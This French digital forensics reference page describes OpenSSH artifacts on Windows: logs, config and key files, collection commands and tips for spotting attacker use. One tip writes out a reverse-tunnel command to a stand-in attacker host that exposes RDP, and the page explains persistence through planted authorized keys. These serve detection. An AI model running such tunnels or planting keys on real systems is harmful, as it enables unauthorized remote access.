Réseau et accès distant
Serveur et client OpenSSH
Fiche OpenSSH sous Windows : journal de sshd, sshd_config et clés d'hôte, persistance par authorized_keys, known_hosts, traces du client et tunnels inversés.
- Emplacement
- C:\Windows\System32\winevt\Logs\OpenSSH%4Operational.evtx
- Prouve
- Connexions SSH acceptées et échouées (utilisateur, IP source, méthode d'authentification) et clés donnant un accès SSH persistant
- Horodatages
- TimeCreated des événements en UTC ; horodatages système de fichiers d'authorized_keys et known_hosts en UTC (NTFS)
- Rétention
- OpenSSH/Operational est un petit journal circulaire ; les fichiers de clés persistent jusqu'à leur suppression
- Accès
- Administrateur pour lire le journal et %ProgramData%\ssh ; les dossiers .ssh par utilisateur exigent les droits de cet utilisateur ou d'un administrateur
- Type
- Journal d'événements
- Windows
- 1011
- Cible KAPE
- Pas de cible dédiée
- Velociraptor
- Pas de cible dédiée
Outils
Comparer tous les outils- EVTX ParserNavigateur
- EvtxECmdCLI
- Get-WinEventCLI · intégré à Windows
- PECmdCLI
- AmcacheParserCLI
- VelociraptorPlateforme · open source
Présentation
Windows embarque le portage d'OpenSSH maintenu par Microsoft. Le client (ssh.exe, scp.exe, sftp.exe) est installé par défaut à partir de Windows 10 1803. Le serveur (service sshd) est une fonctionnalité facultative (« OpenSSH Server », disponible depuis Windows 10 1809 et Server 2019) qu'il faut ajouter, par exemple avec Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. Il peut aussi être installé depuis les versions GitHub de Win32-OpenSSH dans C:\Program Files\OpenSSH. Les attaquants s'en servent pour des shells distants chiffrés, une persistance par clé et des tunnels qui contournent les contrôles périmétriques.
Emplacement
| Élément | Emplacement |
|---|---|
| Binaires (intégrés) | C:\Windows\System32\OpenSSH\ (ssh.exe, sshd.exe, ssh-agent.exe) |
| Journal d'événements | OpenSSH/Operational (OpenSSH%4Operational.evtx) |
| Journal texte (facultatif) | %ProgramData%\ssh\logs\sshd.log quand SyslogFacility LOCAL0 est défini |
| Configuration du serveur | %ProgramData%\ssh\sshd_config |
| Clés d'hôte | %ProgramData%\ssh\ssh_host_*_key (+ .pub), créées au premier démarrage du service |
| Clés autorisées des administrateurs | %ProgramData%\ssh\administrators_authorized_keys (utilisé pour les membres d'Administrators via le bloc par défaut Match Group administrators) |
| Clés par utilisateur | %USERPROFILE%\.ssh\authorized_keys, known_hosts, id_*, config |
| Shell par défaut | HKLM\SOFTWARE\OpenSSH, valeur DefaultShell (cmd.exe si absente) |
| Règle de pare-feu | OpenSSH-Server-In-TCP (TCP 22), créée par la fonctionnalité facultative |
Ce que l'artefact prouve
- Serveur : quel compte s'est connecté en SSH, depuis quelle IP et quel port, avec quelle méthode (mot de passe ou clé publique), ainsi que les tentatives échouées. Les événements 4624/4625 du journal Security ajoutent la session d'ouverture.
- Persistance : une clé publique dans
administrators_authorized_keysou dans l'authorized_keysd'un utilisateur donne un accès sans mot de passe, qui survit aux réinitialisations de mot de passe. - Usage du client :
known_hostsliste les hôtes auxquels cet utilisateur s'est connecté (hachés uniquement siHashKnownHostsétait activé). L'exécution dessh.exeapparaît dans le Prefetch, Amcache et BAM.
Il ne consigne pas les commandes tapées dans la session SSH. Utilisez la création de processus (4688, événement 1 de Sysmon) avec sshd.exe comme parent, et les journaux PowerShell.
Champs clés
| Source | Trace | Remarques |
|---|---|---|
| OpenSSH/Operational | sshd: Accepted password for <user> from <ip> port <n> ssh2 | Aussi Accepted publickey ... <type de clé> SHA256:<empreinte> |
| OpenSSH/Operational | Failed password for ..., Invalid user ..., Disconnected from ... | Force brute et énumération |
| OpenSSH/Operational | ID d'événements | Les messages partagent des ID génériques : filtrez sur le texte plutôt que sur l'ID |
| Security 4624 | Ouverture de session par sshd.exe | Le type d'ouverture de session dépend de la méthode d'authentification et de la version ; le type 8 (NetworkCleartext) est souvent signalé pour les mots de passe, les connexions par clé peuvent différer. Validez sur une machine de test |
| System 7045 / 7036 | Service sshd installé / démarré | Date la première utilisation de la fonctionnalité |
authorized_keys | Type de clé, clé en base64, commentaire final | Le commentaire (par exemple user@kali) est contrôlé par l'attaquant mais souvent révélateur |
Horodatages
| Horodatage | Signification | Pièges |
|---|---|---|
TimeCreated de l'événement | Heure de connexion ou d'échec, UTC | Petit journal, les événements anciens peuvent avoir disparu |
Horodatages $SI/$FN d'authorized_keys | Fichier de clés créé ou modifié | Comparez $SI et $FN dans la $MFT pour détecter le timestomping |
Modification de known_hosts | Dernier ajout d'une nouvelle clé d'hôte | Pas mis à jour à chaque connexion |
| Création des clés d'hôte | Premier démarrage de sshd | Bon indicateur de la date d'installation du serveur |
Rétention et effacement
- Le canal OpenSSH/Operational est petit et circulaire ; sur un serveur exposé, le bruit de la force brute peut chasser la connexion réussie en quelques jours.
- Les clés restent jusqu'à leur suppression. Suppressions et modifications peuvent rester visibles dans le journal USN et les clichés instantanés de volume.
- La désinstallation de la fonctionnalité facultative ne supprime pas forcément
%ProgramData%\ssh.
Collecte
wevtutil epl OpenSSH/Operational E:\case\OpenSSH-Operational.evtx
robocopy C:\ProgramData\ssh E:\case\ProgramData_ssh /E /COPY:DAT
Get-ChildItem C:\Users\*\.ssh -Force -Recurse | Select FullName, Length, CreationTimeUtc, LastWriteTimeUtc
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Get-Service sshd, ssh-agent
Ne copiez les clés d'hôte privées que si l'affaire l'exige, et traitez-les comme des éléments sensibles.
Outils d'analyse
- EvtxECmd, Get-WinEvent, Chainsaw : événements OpenSSH, Security et System.
- PECmd et AmcacheParser : exécution du client (
SSH.EXE,PLINK.EXE). - Velociraptor : recherche des fichiers
authorized_keyset des journaux sshd sur tout le parc. - N'importe quel éditeur de texte pour
sshd_config,known_hostset les fichiers de clés.
Conseils d'investigation
- Comparez
sshd_configà la version par défaut : modifications dePasswordAuthenticationouPubkeyAuthentication,AuthorizedKeysFilepointant ailleurs,GatewayPorts yesouAllowTcpForwardingactivé. - Tunnels inversés :
ssh.exe -R <port>:localhost:3389 user@attaquantexpose RDP via une connexion sortante. Cherchez-R,-L,-D,-Ndans les lignes de commande, puis des connexions RDP depuis127.0.0.1ou::1dans les journaux de connexions RDP.plink.exes'utilise de la même façon. - Une installation inattendue de
sshdsur un poste de travail est un constat en soi : datez-la avec le 7045 du journal System, la création des clés d'hôte et la règle de pare-feu. - Corrélez les entrées
known_hostsdu client avec les traces réseau (SRUM, journaux du pare-feu, DNS) pour identifier les cibles du mouvement latéral.
Artefacts liés
- Journaux d'événements Windows (EVTX)Fiche des journaux d'événements Windows : emplacements EVTX, ID indispensables (connexions, processus, services, effacement), rétention, audit et outils.
- Traces de connexions RDPFiche forensique RDP : ID côté cible (4624 type 10, 1149, 21 à 25, 131) et traces côté source (clés Terminal Server Client, Default.rdp, événement 1024).
- Journaux du pare-feu WindowsFiche pare-feu Windows : format et réglages de pfirewall.log, événements de règles 2004-2006, audit WFP 5156/5157, règles dans le registre et abus de netsh.
- Services WindowsFiche services Windows : valeurs de la clé Services (ImagePath, Start, Type, ServiceDll), événements 7045 et 4697, traces de PsExec et pièges.
- Fichiers Prefetch (.pf)Fiche Prefetch Windows : emplacement des .pf par version, nombre d'exécutions, huit dernières dates, fichiers référencés, rétention et analyse.
- Outils d'accès distant (RMM)Fiche RMM et outils d'accès distant : AnyDesk, TeamViewer, ScreenConnect, leurs journaux, IDs de connexion, IP et horodatages, et comment traquer l'abus.
Termes du glossaire
- Type d'ouverture de session (logon type)Le champ numérique des événements 4624 et 4625 qui indique comment un compte s'est connecté : console, réseau, service, RDP, cache, etc.
- Mouvement latéralDéplacement d'un attaquant d'un hôte compromis vers d'autres machines du réseau, via RDP, SMB, PsExec, WMI, WinRM ou tâches et services distants.
- PersistanceMécanismes permettant à un malware ou à un attaquant de survivre aux redémarrages : clés Run, services, tâches planifiées, abonnements WMI.
- ID d'événement WindowsLe numéro qui identifie un type d'événement au sein d'un fournisseur donné ; il n'a de sens qu'associé à ce fournisseur et à son canal.
Guides
- Mouvement latéral : traces RDP, PsExec, WMI et WinRMArtefacts côté source et côté destination pour RDP, PsExec, SMB, WMI, WinRM, tâches planifiées et DCOM, et construction du graphe de mouvement latéral.
- Chasser la persistance Windows : registre, tâches, WMIDétecter la persistance d'un attaquant sous Windows : clés Run, services, tâches planifiées, WMI, Winlogon, IFEO, COM et BITS, avec MITRE ATT&CK et outils.
- Preuves d'exécution : Prefetch, Amcache, BAM et autresProuver qu'un programme a tourné sous Windows, pas seulement existé : Prefetch, ShimCache, Amcache, BAM, UserAssist, SRUM, PCA, WER et 4688 comparés.